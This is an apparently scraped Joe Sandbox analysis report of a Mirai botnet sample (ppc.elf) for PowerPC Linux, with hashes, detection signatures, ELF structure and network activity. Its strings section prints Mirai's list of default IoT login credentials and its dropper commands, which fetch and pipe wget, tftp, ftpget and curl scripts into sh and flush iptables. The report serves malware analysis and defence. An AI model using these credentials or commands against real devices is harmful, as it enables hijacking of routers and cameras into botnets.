Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
ppc.elf

Overview

General Information

Sample name:ppc.elf
Analysis ID:1585661
MD5:605bfa499e65cb0e3e23124b5f85f1b8
SHA1:24f72b5b380bcb1f3bc354e67fd5a2608b65b0e1
SHA256:36a785b2b74523cad3be83b43e6ebb29ba3e4e81316d0ed8dd7503ec499bb1cd
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:56
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1585661
Start date and time:2025-01-08 00:02:10 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 17s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:ppc.elf
Detection:MAL
Classification:mal56.troj.linELF@0/0@2/0

Warnings

  • VT rate limit hit for: ppc.elf

Runtime Messages

Command:/tmp/ppc.elf
PID:5450
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

  • system is lnxubuntu20
  • ppc.elf (PID: 5450, Parent: 5374, MD5: ae65271c943d3451b7f026d1fadccea6) Arguments: /tmp/ppc.elf
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
ppc.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    5450.1.00007fcf14001000.00007fcf14019000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security

      Suricata Signatures

      ⊘No Suricata rule has matched

      Joe Sandbox Signatures

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Multi AV Scanner detection for submitted file
      Source: ppc.elfReversingLabs: Detection: 23%
      Source: ppc.elfString: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd /bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/armarm5arm6arm7mipsmpslppcspcsh4m68k
      Source: /tmp/ppc.elf (PID: 5450)Socket: 127.0.0.1:43478Jump to behavior
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
      Source: ppc.elfString found in binary or memory: http:///curl.sh
      Source: ppc.elfString found in binary or memory: http:///wget.sh
      Source: Initial sampleString containing 'busybox' found: usage: busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
      Source: Initial sampleString containing 'busybox' found: /bin/busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
      Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
      Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
      Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
      Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echo
      Source: Initial sampleString containing 'busybox' found: (191.235.89.0191.234.196.0191.235.53.0134.0.0.035.195.135.035.195.136.035.195.137.035.195.138.035.195.14.035.195.140.035.195.142.035.195.144.035.195.145.035.195.147.035.195.148.035.195.149.035.195.15.035.195.152.035.195.153.035.195.154.035.195.157.035.195.158.035.195.160.035.195.161.035.195.162.035.195.163.035.195.164.035.195.165.035.195.166.035.195.169.035.195.170.035.195.171.035.195.172.035.195.173.035.195.174.035.195.175.035.195.179.035.195.18.035.195.180.035.195.181.035.195.182.035.195.183.035.195.185.035.195.187.035.195.188.035.195.189.035.195.19.035.195.190.035.195.192.035.195.195.035.195.198.035.195.199.035.195.202.035.195.203.035.195.204.035.195.207.035.195.208.035.195.210.035.195.212.035.195.213.035.195.214.035.195.217.035.195.219.035.195.22.035.195.220.035.195.221.035.195.222.035.195.223.035.195.227.035.195.228.035.195.229.035.195.23.035.195.237.035.195.241.035.195.242.035.195.244.035.195.245.035.195.249.035.195.251.035.195.253.035.195.254.035.195.26.035.195.28.035.195.29.035.195.3.035.195.31.035.19
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnp
      Source: Initial sampleString containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd /bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: classification engineClassification label: mal56.troj.linELF@0/0@2/0
      Source: /tmp/ppc.elf (PID: 5450)Queries kernel information via 'uname': Jump to behavior
      Source: ppc.elf, 5450.1.000055d8a6c05000.000055d8a6cb5000.rw-.sdmpBinary or memory string: !/etc/qemu-binfmt/ppc1
      Source: ppc.elf, 5450.1.00007ffc74a67000.00007ffc74a88000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-ppc/tmp/ppc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/ppc.elf
      Source: ppc.elf, 5450.1.000055d8a6c05000.000055d8a6cb5000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/ppc
      Source: ppc.elf, 5450.1.00007ffc74a67000.00007ffc74a88000.rw-.sdmpBinary or memory string: /usr/bin/qemu-ppc
      Source: ppc.elf, 5450.1.00007ffc74a67000.00007ffc74a88000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

      Stealing of Sensitive Information

      barindex
      Yara detected Mirai
      Source: Yara matchFile source: ppc.elf, type: SAMPLE
      Source: Yara matchFile source: 5450.1.00007fcf14001000.00007fcf14019000.r-x.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Yara detected Mirai
      Source: Yara matchFile source: ppc.elf, type: SAMPLE
      Source: Yara matchFile source: 5450.1.00007fcf14001000.00007fcf14019000.r-x.sdmp, type: MEMORY

      Mitre Att&ck Matrix

      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity Information1
      Scripting      		Valid AccountsWindows Management Instrumentation1
      Scripting      		Path InterceptionDirect Volume AccessOS Credential Dumping11
      Security Software Discovery      		Remote ServicesData from Local System1
      Non-Application Layer Protocol      		Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Application Layer Protocol      		Exfiltration Over BluetoothNetwork Denial of Service

      Malware Configuration

      ⊘No configs have been found

      Behavior Graph

      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet

      Antivirus, Machine Learning and Genetic Malware Detection

      Initial Sample

      SourceDetectionScannerLabelLink
      ppc.elf24%ReversingLabsLinux.Trojan.Mirai

      Dropped Files

      ⊘No Antivirus matches

      Domains

      ⊘No Antivirus matches

      URLs

      ⊘No Antivirus matches

      Domains and IPs

      Contacted Domains

      NameIPActiveMaliciousAntivirus DetectionReputation
      daisy.ubuntu.com
      		162.213.35.25
      		truefalse
        		high

        URLs from Memory and Binaries

        NameSourceMaliciousAntivirus DetectionReputation
        http:///wget.shppc.elffalse
          		high
          http:///curl.shppc.elffalse
            		high

            World Map of Contacted IPs

            ⊘No contacted IP infos

            Joe Sandbox View / Context

            IPs

            ⊘No context

            Domains

            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
            daisy.ubuntu.comAqua.m68k.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            arm6.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            mips.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            arm7.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            arm5.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            gigops.arm4.elfGet hashmaliciousGafgytBrowse
            • 162.213.35.24
            gigops.arm5.elfGet hashmaliciousGafgytBrowse
            • 162.213.35.25
            ppc.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            gigops.i686.elfGet hashmaliciousGafgytBrowse
            • 162.213.35.24
            gigops.mpsl.elfGet hashmaliciousGafgytBrowse
            • 162.213.35.25

            ASNs

            ⊘No context

            JA3 Fingerprints

            ⊘No context

            Dropped Files

            ⊘No context

            Created / dropped Files

            ⊘No created / dropped files found

            Static File Info

            General

            File type:ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, stripped
            Entropy (8bit):6.170003986465548
            TrID:
            • ELF Executable and Linkable format (generic) (4004/1) 100.00%
            File name:ppc.elf
            File size:99'888 bytes
            MD5:605bfa499e65cb0e3e23124b5f85f1b8
            SHA1:24f72b5b380bcb1f3bc354e67fd5a2608b65b0e1
            SHA256:36a785b2b74523cad3be83b43e6ebb29ba3e4e81316d0ed8dd7503ec499bb1cd
            SHA512:a45db24991b706699f2df922a1995ac7cdebbdfe4ebc41b6bf590b0117cca67cca81f5479355ea34fdef8862367efeeb856b8deaf49e79c1e01fc66f75345b4c
            SSDEEP:1536:TXvZW1epIkvqoz1w9NDrcVpYUL/O3yr+viOOWqAmVlGTM5b/VyInVp:zZW1eUoz1UBcPYWT+vl6GTAbFnVp
            TLSH:F8A33B02730C0A47C2631DF0293B17D197EBAAC132A5F385661FB74991B2E37B946ED9
            File Content Preview:.ELF...........................4...P.....4. ...(......................y...y...............................f.........dt.Q.............................!..|......$H...H.C....$8!. |...N.. .!..|.......?.............../...@..\?........+../...A..$8...})......N..

            Static ELF Info

            ELF header

            Class:ELF32
            Data:2's complement, big endian
            Version:1 (current)
            Machine:PowerPC
            Version Number:0x1
            Type:EXEC (Executable file)
            OS/ABI:UNIX - System V
            ABI Version:0
            Entry Point Address:0x100001f0
            Flags:0x0
            ELF Header Size:52
            Program Header Offset:52
            Program Header Size:32
            Number of Program Headers:3
            Section Header Offset:99408
            Section Header Size:40
            Number of Section Headers:12
            Header String Table Index:11

            Sections

            NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
            NULL0x00x00x00x00x0000
            .initPROGBITS0x100000940x940x240x00x6AX004
            .textPROGBITS0x100000b80xb80x1441c0x00x6AX004
            .finiPROGBITS0x100144d40x144d40x200x00x6AX004
            .rodataPROGBITS0x100144f80x144f80x34b80x00x2A008
            .ctorsPROGBITS0x100280000x180000x80x00x3WA004
            .dtorsPROGBITS0x100280080x180080x80x00x3WA004
            .dataPROGBITS0x100280180x180180x3ac0x00x3WA008
            .sdataPROGBITS0x100283c40x183c40x400x00x3WA004
            .sbssNOBITS0x100284040x184040x940x00x3WA004
            .bssNOBITS0x100284980x184040x62580x00x3WA004
            .shstrtabSTRTAB0x00x184040x4b0x00x0001

            Program Segments

            TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
            LOAD0x00x100000000x100000000x179b00x179b06.26620x5R E0x10000.init .text .fini .rodata
            LOAD0x180000x100280000x100280000x4040x66f03.27820x6RW 0x10000.ctors .dtors .data .sdata .sbss .bss
            GNU_STACK0x00x00x00x00x00.00000x6RW 0x4

            Network Behavior

            Network Port Distribution

            UDP Packets

            TimestampSource PortDest PortSource IPDest IP
            Jan 8, 2025 00:02:53.980479956 CET3314753192.168.2.131.1.1.1
            Jan 8, 2025 00:02:53.980535984 CET4708553192.168.2.131.1.1.1
            Jan 8, 2025 00:02:53.988615036 CET53331471.1.1.1192.168.2.13
            Jan 8, 2025 00:02:53.991139889 CET53470851.1.1.1192.168.2.13

            DNS Queries

            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
            Jan 8, 2025 00:02:53.980479956 CET192.168.2.131.1.1.10xda97Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
            Jan 8, 2025 00:02:53.980535984 CET192.168.2.131.1.1.10xb21fStandard query (0)daisy.ubuntu.com28IN (0x0001)false

            DNS Answers

            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
            Jan 8, 2025 00:02:53.988615036 CET1.1.1.1192.168.2.130xda97No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false
            Jan 8, 2025 00:02:53.988615036 CET1.1.1.1192.168.2.130xda97No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false

            System Behavior

            General

            Start time (UTC):23:02:50
            Start date (UTC):07/01/2025
            Path:/tmp/ppc.elf
            Arguments:/tmp/ppc.elf
            File size:5388968 bytes
            MD5 hash:ae65271c943d3451b7f026d1fadccea6

            Chronological Activities